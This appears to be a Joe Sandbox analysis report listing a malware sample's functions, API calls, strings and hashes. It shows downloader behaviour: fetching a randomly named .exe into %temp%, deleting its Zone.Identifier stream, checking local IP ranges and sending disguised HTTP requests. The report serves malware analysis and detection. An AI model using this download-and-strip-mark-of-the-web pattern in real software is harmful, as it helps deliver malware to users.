Instruction ID: 223d06f0ec078b81949309064c5540d38f641d7abc0d68c81da219df943d49a2
Opcode Fuzzy Hash: 45bdf66638a553dec9b64523f646afcf61dabc29da059ab6423e5f8cb98debcd
Instruction Fuzzy Hash: 37310E75A00208AFDB04DF94CC95FEEB7B5AF88710F1085A8E615AB3E0D775AE91CB44

Function 0040C410 Relevance: 4.5, APIs: 3, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00407FCF,00000000,00000000,00000001,F0000040,?,?,0040C469,00407FCF,00000004,?,?,0040C49E,000000FF), ref: 0040C423
CryptGenRandom.ADVAPI32(00407FCF,?,00000000,?,?,0040C469,00407FCF,00000004,?,?,0040C49E,000000FF), ref: 0040C439
CryptReleaseContext.ADVAPI32(00407FCF,00000000,?,?,0040C469,00407FCF,00000004,?,?,0040C49E,000000FF), ref: 0040C445

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction ID: 6943664ffc8d3a105bd4ceed40135057dfa4a41f6174007770034458561b6d1a
Opcode Fuzzy Hash: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction Fuzzy Hash: 0BE01275650208BBDB24CFD5EC49FDA776CEB48700F104154F70997190DAB5EA4097A9

Function 0040DA30 Relevance: 3.0, APIs: 2, Instructions: 15timenativeCOMMON

Download Yara Rule

APIs

NtQuerySystemTime.NTDLL(0040B945), ref: 0040DA3A
RtlTimeToSecondsSince1980.NTDLL(0040B945,?), ref: 0040DA48

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Time$QuerySecondsSince1980System
String ID:
API String ID: 1987401769-0
Opcode ID: 0613ca7d0cb934da7a106d9058381de88b753c7355ee9c1788c1bc259270ea14
Instruction ID: 71f66deb3bce6efc95a111259a7627df0bb84068fda71d22670a2dc98323c2b1
Opcode Fuzzy Hash: 0613ca7d0cb934da7a106d9058381de88b753c7355ee9c1788c1bc259270ea14
Instruction Fuzzy Hash: 4FD09E79C4010DABCB04DBE4E849CDDB77CEA44201F0086D5AD1592150EAB066588B95

Function 00404090 Relevance: 1.7, Strings: 1, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 0040411B

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 758c8ddec5ebc3f2fbc60252ee954f274e779d6146799bd0d90b894ddaeb8b1a
Instruction ID: 5fd1260cd0c1bb1f0d43ca887b35fd9fe7aa376b80e30ba4f5f1b1723d8df557
Opcode Fuzzy Hash: 758c8ddec5ebc3f2fbc60252ee954f274e779d6146799bd0d90b894ddaeb8b1a
Instruction Fuzzy Hash: 2C124FF5D00109ABCF14DF98D985AEFB7B5BB98304F10816DE609B7380D739AA41CBA5

Function 0040F669 Relevance: 1.7, APIs: 1, Instructions: 195nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 0040F71A

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 553652da4901750b097e7af2027d9c2c64a94e5110a95061c8020036af5c5e13
Instruction ID: c0d74598983d3c40a1cba1c5619970ca770d062c6a6589d1e52c28c523225233
Opcode Fuzzy Hash: 553652da4901750b097e7af2027d9c2c64a94e5110a95061c8020036af5c5e13
Instruction Fuzzy Hash: 1361D632A006028BDB39DF29C8806AA73E1EB85354F34C53FD851E7AD0E739DC4AC649

Function 0040A470 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040A48C

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: HeapsProcess
String ID:
API String ID: 1420622215-0
Opcode ID: 5782e1b582b7a748a5e7f01d040a799827bb7b6b497027464f6411c4e1fb9ee6
Instruction ID: 6c519ec662c8298c92b433522cbc543683dcf9427bd1d055406e8132846e7857
Opcode Fuzzy Hash: 5782e1b582b7a748a5e7f01d040a799827bb7b6b497027464f6411c4e1fb9ee6
Instruction Fuzzy Hash: 6901ECB4904268CADB208F14D988BA9B774BB45304F1081EAD71976281C3B82EDADF5F

Function 0040AA90 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 273f1a78c8c3246261b393e2372c129719d8c4f288108f15368615b00390e82d
Instruction ID: 37e1522ff6c285f75b58007950fcecb12f6e209eb0edb739df16a863c33eadfe
Opcode Fuzzy Hash: 273f1a78c8c3246261b393e2372c129719d8c4f288108f15368615b00390e82d
Instruction Fuzzy Hash: DB127CB4D002199FCB48CF99D991AAEFBB2FF88304F24856AE415BB345D734AA11CF54

Function 0040F42C Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 055ce3a16072e11c5b5b43c4deef216cb34a050bfe9534eea9d89275913ec06d
Instruction ID: d2654b517134af6cf63505f3f822924ca03571e2a680a0b95264841177f41a12
Opcode Fuzzy Hash: 055ce3a16072e11c5b5b43c4deef216cb34a050bfe9534eea9d89275913ec06d
Instruction Fuzzy Hash: 3321B832900204AFCB20EF69C8C0967B7A5FF45310B458579DD59AB685D734F919C7E0

Function 0040F070 Relevance: 75.5, APIs: 37, Strings: 6, Instructions: 235
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040F079
srand.MSVCRT ref: 0040F080
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040F0A0
strlen.NTDLL ref: 0040F0AA
mbstowcs.NTDLL ref: 0040F0C1
rand.MSVCRT ref: 0040F0C9
rand.MSVCRT ref: 0040F0DD
wsprintfW.USER32 ref: 0040F104
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F11A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F149
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F178
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F1AB
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F1DC
CloseHandle.KERNEL32(000000FF), ref: 0040F1EB
wsprintfW.USER32 ref: 0040F204
DeleteFileW.KERNEL32(?), ref: 0040F214
Sleep.KERNEL32(000003E8), ref: 0040F21F
Sleep.KERNEL32(000007D0), ref: 0040F240
ExitProcess.KERNEL32 ref: 0040F268
DeleteFileW.KERNEL32(?), ref: 0040F27E
CloseHandle.KERNEL32(000000FF), ref: 0040F28B
InternetCloseHandle.WININET(00000000), ref: 0040F298
InternetCloseHandle.WININET(00000000), ref: 0040F2A5
Sleep.KERNEL32(000003E8), ref: 0040F2B0
rand.MSVCRT ref: 0040F2C5
Sleep.KERNEL32 ref: 0040F2DC
rand.MSVCRT ref: 0040F2E2
rand.MSVCRT ref: 0040F2F6
wsprintfW.USER32 ref: 0040F31D
DeleteUrlCacheEntryW.WININET(?), ref: 0040F32D
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F347
wsprintfW.USER32 ref: 0040F367
DeleteFileW.KERNEL32(?), ref: 0040F377
Sleep.KERNEL32(000003E8), ref: 0040F382
Sleep.KERNEL32(000007D0), ref: 0040F3A3
ExitProcess.KERNEL32 ref: 0040F3CA
DeleteFileW.KERNEL32(?), ref: 0040F3D9

Strings

%s:Zone.Identifier, xrefs: 0040F35B
%s\%d%d.exe, xrefs: 0040F311
%s\%d%d.exe, xrefs: 0040F0F8
%temp%, xrefs: 0040F09B
%s:Zone.Identifier, xrefs: 0040F1F8
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040F115

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$Sleep$DeleteInternetrand$CloseHandlewsprintf$ExitOpenProcess$CacheCountCreateDownloadEntryEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 3526668077-2417596247
Opcode ID: 177b7b3acfa94a5b51c3703646bd270f7b108043caf1cdc0d286447494698f43
Instruction ID: d1b69f2f4fd2238e53d437ba447cd35dd01203c47a8128eb559f47a2066d0ae0
Opcode Fuzzy Hash: 177b7b3acfa94a5b51c3703646bd270f7b108043caf1cdc0d286447494698f43
Instruction Fuzzy Hash: 7691CBB5940318ABE720DB60DC49FE93779AB88701F0484F9F609A51D1DBB99AD4CF28

Function 0040B430 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B360: gethostname.WS2_32(?,00000100), ref: 0040B37C
Part of subcall function 0040B360: gethostbyname.WS2_32(?), ref: 0040B38E

strcmp.NTDLL ref: 0040B460

Strings

.192, xrefs: 0040B4EE
.10, xrefs: 0040B54D
.192., xrefs: 0040B50C
.10., xrefs: 0040B56B
0.0.0.0, xrefs: 0040B44E
.127, xrefs: 0040B48F
10., xrefs: 0040B52F
192., xrefs: 0040B4D0
.127., xrefs: 0040B4AD
127., xrefs: 0040B471

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: 5dde0825bd444be26dad4d2e0a68fa3133cd9c23aadc8b3786c6e5e0e51f72e0
Instruction ID: bd96892130d723efa302dbc8dbf9c53b9c7bf10ac090126f1a0951e43edd4a65
Opcode Fuzzy Hash: 5dde0825bd444be26dad4d2e0a68fa3133cd9c23aadc8b3786c6e5e0e51f72e0
Instruction Fuzzy Hash: 0C6181B5A04205A7CB10AF61EC46AAB7774AB10308F14847AF805B73C2E73DE655C6DF

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

ilci, xrefs: 004019E1
PCOI, xrefs: 0040198A

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction ID: 052bb906b72d623838b809fd2f084fe798b134d15a2779f83897d066d1444b79
Opcode Fuzzy Hash: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction Fuzzy Hash: 3441F471600300ABCB209F74DC8CB9B77A9AF44720F14463DF895A72E1DB78E881CB99

Function 0040EA80 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040EAA8
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EAF8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EB0B
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040EB44
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040EB7A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040EBA5
HttpSendRequestA.WININET(00000000,004120C8,000000FF,00009E34), ref: 0040EBCF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040EC0E
memcpy.NTDLL(00000000,?,00000000), ref: 0040EC60
InternetCloseHandle.WININET(00000000), ref: 0040EC91
InternetCloseHandle.WININET(00000000), ref: 0040EC9E
InternetCloseHandle.WININET(00000000), ref: 0040ECAB

Strings

Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EB06
POST, xrefs: 0040EB6E
<, xrefs: 0040EAB0

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 8a56ad483b9ace5c80fef8412a232ec04f9eaa1d9d9d993c01397f9ec31f5831
Instruction ID: c905a0693736bdbf34c7f8e0e7db626079e62ceb693e66bb4324beed71749724
Opcode Fuzzy Hash: 8a56ad483b9ace5c80fef8412a232ec04f9eaa1d9d9d993c01397f9ec31f5831
Instruction Fuzzy Hash: 33514CB5901228ABDB26CF54CC94BDDB7BCAB48705F0481E9B60DA6280C7B96FC4CF54

Function 00401600 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

ilci, xrefs: 00401630
PCOI, xrefs: 0040160D

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: af844558824ef2f0cd234010a78707101b1275eb600f87e7949f258bb1116b4d
Instruction ID: 5b8540bf1bb466d15bf787bf2847de779fcfe5b3cc035b7f1a74ac98c73710f1
Opcode Fuzzy Hash: af844558824ef2f0cd234010a78707101b1275eb600f87e7949f258bb1116b4d
Instruction Fuzzy Hash: D731A875900705ABC710EF70EC48B97B7B8BF08710F048A2AF559A3691C779F894CB98

Function 00405820 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 00405838
GetModuleHandleW.KERNEL32(00000000), ref: 00405850
Sleep.KERNEL32(00000001), ref: 00405864
GetTickCount.KERNEL32 ref: 0040586A
GetTickCount.KERNEL32 ref: 00405873
wsprintfW.USER32 ref: 00405886
RegisterClassExW.USER32(00000030), ref: 00405893
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 004058BC
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004058D7
TranslateMessage.USER32(?), ref: 004058E5
DispatchMessageA.USER32(?), ref: 004058EF
ExitThread.KERNEL32 ref: 00405901

Strings

0, xrefs: 00405840
%x%X, xrefs: 0040587A

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction ID: 26b7d68298067a6ce37e9ddfddb25a36523320ae21639d5819629e884720d218
Opcode Fuzzy Hash: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction Fuzzy Hash: 47212C71940308BBEB10ABA0DC49FEE7B78EB04711F108439F606BA1D0DBB995948F69

Function 0040E150 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E178
InternetCrackUrlA.WININET(0040DC29,00000000,10000000,0000003C), ref: 0040E1C8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E1D8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E211
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E247
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E26F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E2B8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E30A
InternetCloseHandle.WININET(00000000), ref: 0040E347
InternetCloseHandle.WININET(00000000), ref: 0040E354
InternetCloseHandle.WININET(00000000), ref: 0040E361

Strings

GET, xrefs: 0040E23B
<, xrefs: 0040E180

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 67af59116773a7797ed2b96ff4475bc1c7b496ee21b5589c00d2aeb3a4039631
Instruction ID: 0e0ad4ad31c216dc2eff2ccec99c89ab6a28dd79d12b38366d41975b782ec3ac
Opcode Fuzzy Hash: 67af59116773a7797ed2b96ff4475bc1c7b496ee21b5589c00d2aeb3a4039631
Instruction Fuzzy Hash: 6E511BB5901228ABDB36CB50CC55BE9B7BCAB44705F0444E9A60DAA2C0D7B96BC4CF54

Function 0040ED50 Relevance: 16.6, APIs: 11, Instructions: 144fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040ED82
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040EDA3
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040EDC2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040EDDB
memcmp.NTDLL ref: 0040EE6D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040EE90
CloseHandle.KERNEL32(00000000), ref: 0040EE9A
CloseHandle.KERNEL32(000000FF), ref: 0040EEA4
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040EEC3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040EEE8
CloseHandle.KERNEL32(000000FF), ref: 0040EEF2

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID:
API String ID: 3902698870-0
Opcode ID: 7ad1fe91360db5ea26f22c98dcdf1cd4795f1c803dd98443715d61a40f1b6e9d
Instruction ID: 4e6ec57638d856f2454fe90bbc3b1fbf5740e030230db4960ae301055fb20e21
Opcode Fuzzy Hash: 7ad1fe91360db5ea26f22c98dcdf1cd4795f1c803dd98443715d61a40f1b6e9d
Instruction Fuzzy Hash: 34515FB4E40208FBDB14DFA4CC49BDFB774AB48704F108569E615B72C0D7B9AA45CB98

